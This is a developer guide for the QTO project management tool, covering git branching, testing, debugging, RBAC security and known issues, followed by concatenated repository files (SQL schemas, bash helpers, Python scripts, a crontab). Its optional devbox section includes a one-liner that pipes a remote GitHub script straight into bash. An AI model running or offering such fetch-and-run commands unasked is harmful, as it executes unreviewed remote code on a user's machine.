You probably have access to different corporate and public git repositories. Use your personal ssh identity file you use in GitHub to push to the QTO project. The following code snippet demonstrates how you could preserve your existing git configurations (even on corporate / intra boxes), but use ALWAYS the personal identity to push to the QTO. # create the company identity file ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.corp.`hostname -s` ~/.ssh/id_rsa.corp.`hostname -s` # copy paste this one into your githubs, private keys # set alias for the git command to avoid overtyping ... alias git='GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.corp.`hostname -s` " git' # clone a repo git clone <EMAIL>:corp/project.git export git_msg="my commit msg with my corporate identity, explicitly provide author" git add --all ; git commit -m "$git_msg" --author "MeFirst MeLast <<EMAIL>>" git push # and verify clear ; git log --pretty --format='%h %ae %<(15)%an ::: %s ### 6.2. Aim for traceability between user-stories, requirements, features and functionalities Once the issues are defined and you start working on your own branch which is named by the issue-id aim to map one on one each test in your code with each listed requirement in confluence and / or JIRA. ### 6.3. Zero tolerance for bugs, especially crashes As soon as bugs are identified and reproduceable, register them as issues and resolve them with prio ( aka priority ) 1. After resolution, think about the root cause of the bug, the mear fact that the bug occurred tells that something in the way of working has to be improved , what ?! Bugs are like broken windows the more you have them the faster the value of your building will be down to zero. ### 6.4. ALWAYS Start with a test unit creation Do not ever never write code without starting first the unit test on how-to test the code. Period. This is he only way to avoid braking old functionalities when the application code base grows larger. Each time a new bug is found fix it by adding new Unit Test! ### 6.5. Branch for the current common releasable branch - for example v0.8.4 No code should be merged into the development branch without broad testing coverage and approval from the owner of the instance - as the owner of the instance is at the end responsible personally for the whole instance, since once a change has been merged to develop it must pass as quickly as possible to tst, prd and master. Each developer committing to the development branch MUST rebase as frequently as possible from the dev branch to avoid time waste aligning the feature branches to the common dev branch. # put your product instance configuration files into the stash temporarily git stash # check the current wip version of the qto application git checkout v0.8.4 # create a new branch from the v0.8.3 branch AND set the correct name of the branch # by using the issues-id and use for the name of the branch the copy paste from the issue # name by replacing the spaces and other special chars with - dashes ... git checkout -b v0.8.4-200402120006-fix-bug-for-wrong-order-in-env-file # apply back your configuration git stash pop # modify the code and strife to modify code ONLY related to THIS issue !!! # set the git msg export git_msg="qto-200402120006 fix bug for wrong order in .env file" # push the changes ( you would have to have the git alias set !!!) git add --all ; git commit -m "$git_msg" --author "<NAME> <<EMAIL>>" ; git push ; # have to set a new upstream when pushing for the first time git push --set-upstream origin v0.8.4-fix-bug-for-wrong-order-in-env-file # set the git stash git branch -a git checkout v0.8.4 git pull git merge v0.8.3-200402120006-fix-bug-for-wrong-order-in-env-file -X theirs git push git stash pop git push clear ; git log --pretty --format='%h %<(15)%ae %<(15)%an ::: %s' ### 6.6. Syncing changes with the original repo If you have forked a GitHub repo you want to sync with you will need to : - add it to your git remotes ( if it is not added yet ) - add the upstream repository ( or update the url if was existing ) - get the upstream changes to your local branch(es) - push to your remote remote branch(es) #use git remote -v to see the currently configured repositories you are working with: git remote -v #include your own repo: git remote set-url origin https://github.com/%YourName%/qto.git #add https://github.com/YordanGeorgiev/qto/ as an upstream repository: git remote add upstream https://github.com/YordanGeorgiev/qto/qto.git #in case you already have an upstream configured, you can update the URL instead of creating it: git remote set-url upstream https://github.com/YordanGeorgiev/qto.git #ensure that origin is set to your repo and upstream is set to the main QTO repo: git remote -v #fetch all the changes from upstream to your local files: git fetch upstream #check that you are on the desired branch, usually it is master: git checkout master #merge the changes from the upstream/master into your local master branch. #it is also possible to specify a different upstream branch other than master, for example upstream/v0.8.4: git merge upstream/master #push or force push to your Github master branch: git push origin master ### 6.7. Integration testing in the tst branch The tst branch is dedicated for integration testing of all the tests, the deployment, performance testing and configuration changes. Should you need to perform bigger than a small hotfix changes you must branch the tst branch into a separate dev--feature branch and re-run the integration testing and approval all over. At the end all the integration tests should be behind this shell call. bash src/bash/qto/qto.sh -a run-integration-tests ### 6.8. Production in the prd branch The prd branch is the one deployed to the production environment. This code is NOT straight merged into the master branch , but after certain time depending on the dynamic of the tool with bugless operation merged. ### 6.9. Deployment to the cloud // ### 6.10. master branch - the single truth for current stable version of the software Once the business has approved a new version - it should be moved to the master branch and all other branches including the separate feature branches MUST be REBASED ( and NOT MERGED !!! ) from the master branch to accommodate any hotfixes, configuration related adjustments or quick bug fixes detected in production only. ## 7. SOURCE CODE STYLING This section is going to be the one to be debated and hated the most ... ### 7.1. Spaces and not tabs ### 7.2. Perl source code styling #### 7.2.1. Spacing after variable asignments You might want to use spacing after variable assignments if you have a lot of variables assigned ... it improves the readability of the code .... #### 7.2.2. Set 3 spaces for a tab Why ????!!!!! Because 2 is too little and 4 is too much and line legth of 80 to 100 is too small to be wasted or packed with too much stuff ... Also 3 is a magical number ... #### 7.2.3. Empty lines Empty lines improve readability, when used in a standard way: Use 2 empty lines between functions and 1 empty line between logical blocks within functions. ## 8. TESTING Why the testing section is before the coding one ??!!! Because in order for you to be able to add more functionalities to the qto application you MUST first understand how to ensure that you are not causing regression bugs - aka the application "works" according to one of the main principle - it must just work, no more and no less. ### 8.1. Running unit tests bash src/bash/qto/qto.sh -a run-unit-tests ### 8.2. Checking the perl syntax Before running any tests check the perl syntax ... as follows: bash src/bash/qto/qto.sh -a check-perl-syntax # starts echoging something like this... ... ::: running: cd src/perl/qto ; perl -MCarp::Always -I /hos/opt/qto/qto.0.8.1.dev.ysg/src/perl/qto -I /hos/opt/qto/qto.0.8.1.dev.ysg/src/perl/qto/lib -wc "./t/lib/Qto/App/Utils/TestInitiator.t" ; cd - ### 8.3. Running functional tests bash src/bash/qto/qto.sh -a run-functional-tests ### 8.4. Running integration tests bash src/bash/qto/qto.sh -a run-integration-tests ### 8.5. User-Story creation Use the following template while creating the user story: As an &lt;&lt;role&gt;&gt; In order to &lt;&lt;achieve something/ bring value by&gt;&gt; I want to to be able to &lt;&lt;action-description&gt;&gt; ## 9. FEATURE IMPLEMENTATION WORKFLOW This section describes the common workflow for implementing a feature. As in other places the main principle to follow is "use common sense" , thus try to follow this workflow for feature implementation, but challenge it as soon as it defies the common sense. ### 9.1. Problem registration Should you have problems or bugs, or even questions register them first into the qto application. Problems are often hint from the reality on the actual work, which has to be performed, yet problems are not yet issues. Issues are meant to be derived from problems in structured way, so that the deliverable of each issue must be testable and distinguishable, as well as the work. The reason the problem registration is on top of this subsection is the fact that bugs and problems should be dealt with higher priority, to minimise the technical debt of the application. ### 9.2. Requirements creation Depending on the size and agility of your organisation formal requirements exist. ### 9.3. Issue creation Even if you do not have a defined documentation artefact - create a new issue, which could be the start for a an action affecting the run-state, configuration , data , features and functionalities or other aspects of the qto application. An issue could be a bug, a request for a feature or even simply an undefined combination of problems and solution which could quickly be formalised by defining a new requirement, another issue, feature-request ### 9.4. Feature branch creation Create the feature branch by using the following naming convention: - dev--&lt;&lt;short-feature-title&gt;&gt; git branch -a * dev dev--qto-18050801-add-order-by-in-select-ctrlr master ... ### 9.5. Create a test-entry point Even the smallest proof of concept needs a small test-entry point. Start always with the testing and the testing scalability in mind. ### 9.6. Implementation of Proof of Concept ( optional ) Aim to create a small POC for the new concept, feature or functionality - for example a page having a lot of hardcoding, which constrains the scope for ONLY this new thing. POC small "projects" are extremely useful when new ui controls are to be integrated into the common base - check the public/poc directory for the the subdirectories containing the iterative approaches while introducing different controls into the project. Strive however to use the same naming convention, and implement with future integrations within the end truly dynamic code. ### 9.7. Prototype implementation ( optional ) The same instructions as the POC apply, but the prototype contains a certain and broader level of integration with the dynamic parts of the System. ### 9.8. Unit and / or integration test creation Strive to create always unit and / or integration test(s). ### 9.9. Implementation Implement by quick unit test runs. Constantly improve both the code , configuration changes and the test code. Think about re-usability and scalability during implementation, but do not overgeneralise. ### 9.10. Deployment and test to the test environment Deploy to the test environment a new instance with the current version as follows: # deploy to the tst environment bash src/bash/qto/qto.sh -a to-tst # go to the product instance dir of the tst env for this version cd ../qto.<<version>>.tst.<<owner>> bash src/bash/qto/qto.sh -a run-integration-tests bash src/bash/qto/qto.sh -a run-functional-tests ### 9.11. Deployment and test to the production environment Repeat the same to the production environment. As the current version is usually work in progress your stable version will be one level below and thanks to the architecture of the tool you could test in the production environment ( as soon as you have proper configuration ). ### 9.12. Quality assurance iteration This phase might be longer depending on the feature. Some of the features stay in quality assurance mode EVEN if they have been deployed to production. ### 9.13. DoD check-list walkthrough Perform the DoD checklist as follows. ### 9.14. The feature or functionality current description is added in the docs The feature or functionality current description is added in the Features and Functionalities document. Check also the end user guide - it might to be changed as well. It might pay off to revisit the ReadMe as well, which is the landing and more of a "selling" point. #### 9.14.1. Regenerate the md docs # instead of the product instance dir you could also use different documents root export docs_root_dir=/hos/opt/csitea/qto/qto.0.7.7.dev.ysg # Action !!! bash src/bash/qto/qto.sh -a generate-md-docs #### 9.14.2. Regenerate the pdf docs Regenerate the pdf docs by issuing the following one-liner # instead of the product instance dir you could also use different documents root export docs_root_dir=/hos/opt/csitea/qto/qto.0.7.7.dev.ysg bash src/bash/qto/qto.sh -a generate-pdf-docs #### 9.14.3. Regenerate the msft docs Regenerate the Microsoft docx files by issuing the following shell one-liner: # instead of the product instance dir you could also use different documents root export docs_root_dir=/hos/opt/csitea/qto/qto.0.7.7.dev.ysg # Action !!! bash src/bash/qto/qto.sh -a generate-msft-docs ### 9.15. The related requirement is added in the requirements document The related requirement is added in the requirements document - there might be one or more requirements added. ### 9.16. At least 2 times passed functional and js tests run Use the following shell actions ( Note that since v0.6.7 as authentication is required for most of the web-actions the QTO_ONGOING_TEST environmental variable has to be set to 1 to run those separately) : bash src/bash/qto/qto.sh -a run-js-tests bash src/bash/qto/qto.sh -a run-functional-tests ### 9.17. At least 2 times passed integration tests in each environment instance At least 2 times passed unit tests run in each environment instance - run the unit tests at least twice per environment. Should the run behave differently start all over from dev. Since v0.6.7 as authentication is required for most of the web-actions the QTO_ONGOING_TEST environmental variable has to be set to 1 to run those separately. bash src/bash/qto/qto.sh -a run-integration-tests ### 9.18. Deployment to the test environment Deploy to the test environment as shown in the code snippet below. Re-run the tests via the tests shell actions. # deploy to the tst environment bash src/bash/qto/qto.sh -a to-tst # go to the product instance dir of the tst env for this version cd ../qto.<<version>>.tst.<<owner>> ### 9.19. Check that all the files in the deployment package are the same as those in the latest commit of the dev git branch. Deploy to the test environment as follows: # deploy to the tst environment bash src/bash/qto/qto.sh -a to-tst # go to the product instance dir of the tst env for this version cd ../qto.<<version>>.tst.<<owner>> ### 9.20. restart the application layer Well just chain the both commands. bash src/bash/qto/qto.sh -a mojo-morbo-stop ; bash src/bash/qto/qto.sh -a mojo-morbo-start ## 10. DEVBOX SETUP ( optional ) Every developer has his/her own development setup - this section is completely optional - your setup might be much more developed than the one suggested here ... You might find it # run the automatic personal setup curl https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/src/bash/deployer/setup-bash-n-vim.sh | bash -s <EMAIL> ### 10.1. The tmux terminal multiplexer In this setup the tmux.conf contains all the instructions on the shortcut mappings, which enable quick navigation from one UI terminal window to multiple sessions with multiple windows etc. ... cat ~/.tmux.conf ### 10.2. The vim IDE Once again we DO NOT encourage "religious wars", if you happen to be using or interested about the setup used for development, check the .vimrc at the root of the project, which will point you to all the plugins, shortcuts and settings used. # to check the syntax in the current file: :make # to check the syntax in the whole project from the proj root: bash ./src/bash/qto/qto.sh -a check-perl-syntax ## 11. DEBUGGING Debugging is bad - it almost means that you have already lost the battle with the complexity of the code and MUST slow down to grasp what is actually happening ... But .. if you are already here than use the following hints ... ### 11.1. Enable debugging in Mojolicious Set the env var(s) and restart morbo. Check the following list of the Mojolicous env vars: https://github.com/mojolicious/mojo/wiki/%25ENV # stop the application layer run-time if it is already running bash src/bash/qto/qto.sh -a mojo-morbo-stop # set the env var export MOJO_MODE=development # ... or any other of the variables above ... # restart the application layer bash src/bash/qto/qto.sh -a mojo-morbo-start ### 11.2. Enable debugging in DBI Set the DBI_TRACE env variable and restart the application layer. Check the dbitrace.log for your exact statement. # stop the application layer run-time if it is already running bash src/bash/qto/qto.sh -a mojo-morbo-stop # set the env var DBI_TRACE=1=dbitrace.log export DBI_TRACE # restart the application layer bash src/bash/qto/qto.sh -a mojo-morbo-start ### 11.3. Debugging in the UI The mojo *html.ep DO contain a lot of JavaScript code, which IS RUN on the client AFTER it is run on the server side, thus the good old console.log or console.error work ... Quite often it makes sense to debug large JS objects, especially those related to VueJS. console.log(this.$parent) console.log("what exactly my parent control contains") console.log("todo:<<me>> remember to remove this ^^^") // ^^^ this one might seem like overkill , BUT you will be amazed // how-often you will have more than 5 console.log statements, which // you would have to hunt down, after the completion of the feature by: find . -type f -name '*.html.ep' -exec grep -nHi console.log {} \; ### 11.4. Debugging css Css editing IS time consuming activity. IMPORTANT !!! Chrome checkbox in the Networks "Disable cache" is buggy and unreliable - the ONLY way to clear the cache of a site you are performing css changes to actually see the changes is : - F12 - to open DevTools - right-click on the reload , button and choose - "Clear cache and Hard Reload " The other alternative is to open a new tab with the same url from inkognito mode ( which is also proven to be not 100% reliable ... ) ## 12. SECURITY ### 12.1. Authentication You might want to refresh the following security related links from time while reading this section: http://self-issued.info/docs/draft-jones-json-web-token-06.html https://metacpan.org/pod/Mojo::JWT https://tools.ietf.org/html/rfc6749#section-1.5 #### 12.1.1. JWT based native authentication Theory chk the following links: http://self-issued.info/docs/draft-jones-json-web-token-06.html https://metacpan.org/pod/Mojo::JWT https://tools.ietf.org/html/rfc6749#section-1.5 #### 12.1.2. Session based native authentication The session based authentication works basically as follows: - non-authenticated users requests a resource from the application layer - the application layer , runs the controller specified in the route - each controller is derived from the BasedController, which has the isAuthenticated metho - which returns 1 or 0 based on Mojo::Session stored data So as of v0.7.8 - no app_roles, no permissions are implemented - the users are either authenticated or not. Once authenticated they can CRUD anything they have access to from the UI. #### 12.1.3. RBAC based native authentication The RBAC based native authentication works as follows: - during start-up or meta-data reload the Guardian component saves the RBAC list into the Redis - the User authenticates against the System via the login - The System grants the list of app_roles to the JWT token of the user ### 12.2. Authorisation As of v0.8.1 the Roles-Based Access Control List is being implemented. You might want to refresh your RBAC theoretical skills: https://searchsecurity.techtarget.com/definition/role-based-access-control-RBAC #### 12.2.1. Generic role-based access control list based authorisation Start by defining your app_roles in the list/app_roles page. Keep the number of app_roles in the beginning to the absolute minimum - you could easily re-do the whole RBAC list re-population later on. Who has access to what is defined in the following table: app_items_roles_permissions. You could initially load this table by running the following scripts below. https://stackoverflow.com/a/58009983/65706 # populate the list of tables into the app_items table psql -d dev_qto < /src/sql/pgsql/scripts/admin/populate-app_items.sql # populate the items app_roles_permissions psql -d dev_qto < src/sql/pgsql/scripts/admin/populate-app_items_roles_permissions.sql ## 13. KNOWN ISSUES AND WORKAROUNDS ### 13.1. The RBAC based native authorisation The RBAC based native authentication works as follows: - during start-up or meta-data reload the Guardian component saves the RBAC list into the Redis - the User requests a resource from the System - The Guardian component takes the role claims from the Users JWT - The Guardian component builds the role-page resource id and checks that it exists from the RBAC list in Redis - if the request role-page resources id exists the Guardian passes the User to fetch the resource - if the request role-page resource id DOES NOT exist : -- the Guardian redirects the user to the login page if the user is not authenticated -- the Guardian redirect the user to the search / home pager if the user is authenticated ### 13.2. All tests fail with the 302 error This one is actually a bug ... all the tests not requiring non-authentication mode should set it in advance ... # disable authentication during testing export QTO_NO_AUTH=1 # call the test once again perl src/perl/qto/t/lib/Qto/Controller/TestHiCreate.t ### 13.3. Morbo is stuck #### 13.3.1. Probable root cause This one occurs quite often , especially when the application layer is restarted, but the server not # the error msg is [INFO ] 2018.09.14-10:23:14 EEST [qto][@host-name] [4426] running action :: mojo-morbo-start:doMojoMorboStart (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN 6034/qto tcp 0 0 0.0.0.0:3002 0.0.0.0:* LISTEN 7626/qto Can't create listen socket: Address already in use at /usr/local/share/perl/5.26.0/Mojo/IOLoop.pm line 130. [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN with: [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN: 0 0 # = STOP MAIN = qto qto-dev ysg@host-name [Fri Sep 14 10:23:16] [/vagrant/opt/csitea/qto/qto.0.4.9.dev.ysg] $ #### 13.3.2. Kill processes List the running perl processes which run the morbo and kill the instances ps -ef | grep -i perl # be carefull what to kill kill -9 <<proc-I-know-is-the-one-to-kill>> #### 13.3.3. Problem description This one occurs quite often , especially when the application layer is restarted, but the server not # the error msg is [INFO ] 2018.09.14-10:23:14 EEST [qto][@host-name] [4426] running action :: mojo-morbo-start:doMojoMorboStart (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN 6034/qto tcp 0 0 0.0.0.0:3002 0.0.0.0:* LISTEN 7626/qto Can't create listen socket: Address already in use at /usr/local/share/perl/5.26.0/Mojo/IOLoop.pm line 130. [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN with: [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN: 0 0 # = STOP MAIN = qto qto-dev ysg@host-name [Fri Sep 14 10:23:16] [/vagrant/opt/csitea/qto/qto.0.4.9.dev.ysg] $ ### 13.4. The page looks broken - probably the new css is not reloaded This problem is quite oftenly experienced and a real time-burner, so keep those shortcuts below in mind. To apply the newest css do a hard reload in Chrome with the shortcut COMMAND + SHIFT + R. The other option is to keep the SHIFT button and press the reload button the Chrome address bar ( this one has been buggy from time to time as well. ... ) COMMAND + SHIFT + R SHIT + CLICK ON RELOAD BUTTON ### 13.5. The vue UI does not update properly Due to the vue reactivity system - basically the more the complex the ui control, the better to have some kind of id to set in the v-for ... <div v-for="item in filteredItems" :key="item.id"> // use also in every CRUD operation ... this.$forceUpdate() // or even this.$parent.$forceUpdate() ### 13.6. NginX fails with 502 Bad Gateway error and probably crashes the site Might be due to the following error found in the journal log: "nginx.service: Failed to parse PID from file /run/nginx.pid: Invalid argument" sudo mkdir /etc/systemd/system/nginx.service.d printf "[Service]\ ExecStartPost=/bin/sleep 0.1\ " | \ sudo tee /etc/systemd/system/nginx.service.d/override.conf sudo systemctl daemon-reload sudo systemctl restart nginx ### 13.7. Why having all the hassle with this directory structure - is overkill ?!! Every software project has a scope. Qto as a project aims to provide the fully vertically integrated code base for deployment, operation and maintenance, which is not possible without the use of multiple run-times within the project ( such as bash, perl, python, terraform, npm ... ) Having a project with a directory structure for a specific run-time enforcing that directory structure to all the other runtimes is a a mess. ### 13.8. The new entries in DropBox FK tables cannot be seen I updated a FK table - the new entries are there. I can see from db that the correct entries are in the db , but I cannot still see the new value(s) in the drop down ... It is a Google Chrome specific cache bug ... Try first to hard reload and open the browser , Inspect ( DevTools has to be open ) right-click the Reload button on the address bar and choose "Hard Reload and empty cache" or CMD + Option + R shortcut combination. If that STILL does not work on the DevTools choose the Application menu, Storage , Local storage , right-click the local storage of the instance the problem occurs and choose clear local storage. ## 14. FAQ This section contains the most probable frequently asked questions. <file_sep>-- DROP TABLE IF EXISTS ideas ; SELECT 'create the "ideas" table' ; CREATE TABLE ideas ( guid uuid DEFAULT public.gen_random_uuid() NOT NULL, id bigint DEFAULT (to_char(CURRENT_TIMESTAMP, 'YYMMDDHH12MISS'::text))::bigint NOT NULL, app_users_guid uuid DEFAULT '2660a6e9-9e6b-4faa-8264-27a92872657b'::uuid NOT NULL, prio integer DEFAULT 0, ideas_status_guid uuid DEFAULT 'cb989a14-d0b8-46e4-b2cc-5e2a974b5d29'::uuid NOT NULL, name character varying(100) DEFAULT 'name ...'::character varying NOT NULL, description character varying(4000) DEFAULT 'description ...'::character varying NOT NULL, owner character varying(50) DEFAULT 'unknown'::character varying NOT NULL, update_time timestamp without time zone DEFAULT date_trunc('second'::text, now()) , CONSTRAINT pk_ideas_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_ideas_uniq_id on ideas (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.ideas'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_ideas BEFORE UPDATE ON ideas FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'ideas'::regclass; <file_sep>UNAME := $(shell uname) ifeq ($(UNAME),Darwin) OS_X := true SHELL := /bin/bash else OS_DEB := true SHELL := /bin/bash endif <file_sep>#!/usr/bin/env bash export TERM=xterm print_ok() { GREEN_COLOR="\033[0;32m" DEFAULT="\033[0m" echo -e "${GREEN_COLOR} ✔ [OK] ${1:-} ${DEFAULT}" } print_fail() { RED_COLOR="\033[0;31m" DEFAULT="\033[0m" echo -e "${RED_COLOR} ❌ [NOK] ${1:-}${DEFAULT}" } <file_sep>#!/usr/bin/env python3 # purpose: a quick and dirty semi-generic template generator, based on dir naming convention and # shallow data structure ... # usage: src/python/tpl_gen.py import sys import os import os.path as path import json import glob from jinja2 import Environment, BaseLoader from pprintjson import pprintjson as ppjson import pprint product_instance_dir, json_cnf_fle, cnf, pp, version = '', '', '', '', '' def main(): set_vars() do_generate(cnf) sys.exit(0) def set_vars(): try: global product_instance_dir, json_cnf_fle, cnf, pp, cnf, version pp = pprint.PrettyPrinter(indent=3) product_instance_dir = path.abspath(path.join(__file__ ,"../../..")) do_read_conf_fle(product_instance_dir + '/.env') # env agnostic env = os.environ['ENV'] version = os.environ['VERSION'] with open(product_instance_dir + '/cnf/env/' + env + '.env.json') as json_cnf_fle: cnf = json.load(json_cnf_fle) cnf['env']['VERSION'] = version cnf['env']['VER'] = version.replace('.','') ppjson ( cnf ) except(IndexError) as error: print ("ERROR in set_vars: " , str(error)) traceback.print_stack() sys.exit(1) def do_read_conf_fle(f): try: with open(f, 'r') as fh: vars_dict = dict( tuple(line.rstrip().split('=')) for line in fh.readlines() if not line.startswith('#') ) os.environ.update(vars_dict) except (Exception) as error: print('ERROR in do_read_conf_fle:' , error) traceback.print_stack() finally: print("RUNNING in the following env: " , vars_dict) def do_generate(cnf): for f in glob.iglob( product_instance_dir + '/src/tpl/**/*.tpl', recursive=True): try: print ( "read template file: " , f) pp.pprint (cnf) str_tpl = open(f, 'r').read() obj_tpl = Environment(loader=BaseLoader).from_string(str_tpl) rendered = obj_tpl.render(cnf['env']) print(cnf) pp.pprint ( rendered ) tgt_fle = f.replace('/src/tpl','',1).replace('.tpl','') # print (rendered) print(rendered, file=open(tgt_fle, 'w')) print ( "output ready rendered file : " , tgt_fle) except Exception as e: print ("RENDERING EXCEPTION: \n", str(e)) traceback.print_stack() print("STOP generating templates") main() <file_sep># file: cnf/crontab/crontab-l.sh # usage: # to-deploy this configuration # crontab cnf/crontab/crontab-l.sh # every day at 03:00 perform a full db backup in TST 1 3 * * * bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a backup-postgres-db -a backup-postgres-db-inserts -a publish-dbdump-to-s3 # every day at 03:15 perform a full restart of the application layer in TST # every day at 03:15 perform a full restart of the application layer in PRD # fails !!! qto-200325185208 # 15 3 * * * bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a mojo-hypnotoad-start 15 3 * * * sudo service nginx restart # every day at 19:00 perform a full db backup in TST 1 19 * * * bash /home/ubuntu/opt/qto/[email protected]/src/bash/qto/qto.sh -a backup-postgres-db -a backup-postgres-db-inserts -a publish-dbdump-to-s3 # # 0 3 * * * # * * * * * <<command-to-be-executed>> # - - - - - # | | | | | # | | | | +- - - - day of week (0 - 6) (Sunday=0) # | | | +- - - - - month (1 - 12) # | | +- - - - - - day of month (1 - 31) # | +- - - - - - - hour (0 - 23) # +--------------- minute # # edit the crontab # export EDITOR=vim; sudo crontab -e # # to edit the crontab in batch mode # crontab -l | sed 's/>/>>/' | crontab - # # to view the crontab # sudo crontab -l # # when in doubt chk also: https://crontab.guru/#0_19_*_*_* # eof file: cnf/crontab/crontab-l.sh <file_sep>do_create_app_db(){ # set up confs source $PRODUCT_DIR/.env ; ENV=$ENV test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PRODUCT_DIR/cnf/env/$ENV.env.json" source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.db' # create the app db tmp_log_file="/tmp/.$$.log" pgsql_scripts_dir="$PRODUCT_DIR/src/sql/pgsql/qto" sql_script="$pgsql_scripts_dir/00.create-db.pgsql" PGPASSWORD="${<PASSWORD>_sys_usr_<PASSWORD>:-}" psql -v -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -v ON_ERROR_STOP=1 \ -v postgres_app_db="${postgres_app_db:-}" \ -f "$sql_script" postgres > "$tmp_log_file" 2>&1 ret=$? cat "$tmp_log_file" ; cat "$tmp_log_file" >> $log_file # show it and save it test $ret -ne 0 && { sleep 3 ; do_exit 1 "pid: $$ psql ret $ret - failed to run sql_script: $sql_script !!!" ; break ; } # verify the sql for the provisioning of the postgres_sys_usr_admin sudo -Hiu postgres PGPASSWORD=$postgres_<PASSWORD> psql --port $postgres_rdbms_port \ --host $postgres_rdbms_host -d postgres -c '\l' sleep 1 } <file_sep>#!/usr/bin/env python # vim: ts=4 sw=4 et # https://github.com/ilyash/show-struct.git from __future__ import unicode_literals import argparse import collections import json import sys class Outliner(object): def __init__(self): self.paths = {} self.values_for_path = collections.defaultdict(dict) def _outline(self, data, path): p = ''.join(path) self.paths[p] = True if isinstance(data, dict): if not data: self.values_for_path[p]['(Empty hash)'] = True for k, v in data.iteritems(): self._outline(v, path + ['.' + k]) return if isinstance(data, list): for v in data: self._outline(v, path + ['[]']) sentence = '(Array of {0} elements)'.format(len(data)) self.values_for_path[p][sentence] = True return # scalar assumed self.values_for_path[p][data] = True def outline(self, data): self._outline(data, []) del self.paths[''] ret = [] for path in sorted(self.paths): ret.append({ 'path': path, 'values': sorted(self.values_for_path[path].keys()) }) return ret if __name__ == '__main__': parser = argparse.ArgumentParser('Show structure of give JSON file') parser.add_argument('file', metavar='FILE', default='-', nargs='?', help="The filename to read. Use '-' to read stdin - defaults to '-'") args = parser.parse_args() if args.file == "-": data = json.loads(sys.stdin.read()) else: with open(args.file) as f: data = json.loads(f.read()) outline = Outliner().outline(data) for path in outline: l = len(path['values']) if l == 0: print(path['path']) continue if l == 1: print("{0} -- {1}".format(path['path'], path['values'][0])) continue print("{0} -- {1} .. {2} ({3} unique values)".format( path['path'], path['values'][0], path['values'][-1], l, )) <file_sep>#!/bin/bash #------------------------------------------------------------------------------ # usage example: # source lib/bash/funcs/require-var.func.sh # do_require_var ENV $ENV ; do_require_var ORG $ORG ; #------------------------------------------------------------------------------ do_require_var(){ var_name="${1:-}" var="${2:-}" do_simple_log(){ type_of_msg=$(echo $*|cut -d" " -f1) msg="$(echo $*|cut -d" " -f2-)" echo " [$type_of_msg] `date "+%Y-%m-%d %H:%M:%S %Z"` [$$] $msg " } test -z "${var:-}" && { do_simple_log 'FATAL The environment variable "'$var_name'" does not have a value !!!' do_simple_log 'INFO In the calling shell do "export '$var_name'=your-'$var_name'-value"' exit 1 } } <file_sep> ---- DROP TABLE IF EXISTS skills ; SELECT 'create the "skills" table' ; CREATE TABLE skills ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , seq integer NULL , prio integer NULL , name varchar (100) NOT NULL DEFAULT 'name ...' , description varchar (4000) NOT NULL DEFAULT 'description ...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_skills_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_skills_uniq_id on skills (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.skills'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_skills BEFORE UPDATE ON skills FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'skills'::regclass; <file_sep>doUncrambleConfs(){ while read -r file ; do test -f $file.bak || continue test -f $file.bak && cp -v $file.bak $file test -f $file.bak && rm -v $file.bak done < <(find $PRODUCT_DIR/cnf/env/ -type f -name '*.json') exit 0 } <file_sep># src/bash/qto/funcs/clone-project.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpCloneProject comments ... # --------------------------------------------------------- doHelpCloneProject(){ do_log "DEBUG START doHelpCloneProject" cat doc/txt/qto/helps/clone-project.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpCloneProject" } # eof func doHelpCloneProject # eof file: src/bash/qto/funcs/clone-project.help.sh <file_sep># src/bash/qto/funcs/xls-to-db.func.sh # v0.1.8 # --------------------------------------------------------- # load xls to db # cat doc/txt/qto/funcs/xls-to-db.func.txt # --------------------------------------------------------- doXlsToDb(){ do_log "DEBUG START doXlsToDb" sleep "$sleep_interval" test -z ${items_order_by_attribute+x} && export items_order_by_attribute='category' test -z ${period+x} && export period='daily' test -z ${tables+x} && export tables='daily_issues' # find out the latest xls file from the project daily dir # pass it to the xls-to-rdbms tool as the input xls file # or leave the app to guess it ... test -z ${xls_file+x} && \ export xls_file=$(find ${mix_data_dir} -name '*.xlsx'| grep '.all.'| sort -rn|head -n 1) test -z ${xls_file} && \ export xls_file=$(find $mix_data_dir -name '*.xlsx'| grep $period| sort -rn|head -n 1) 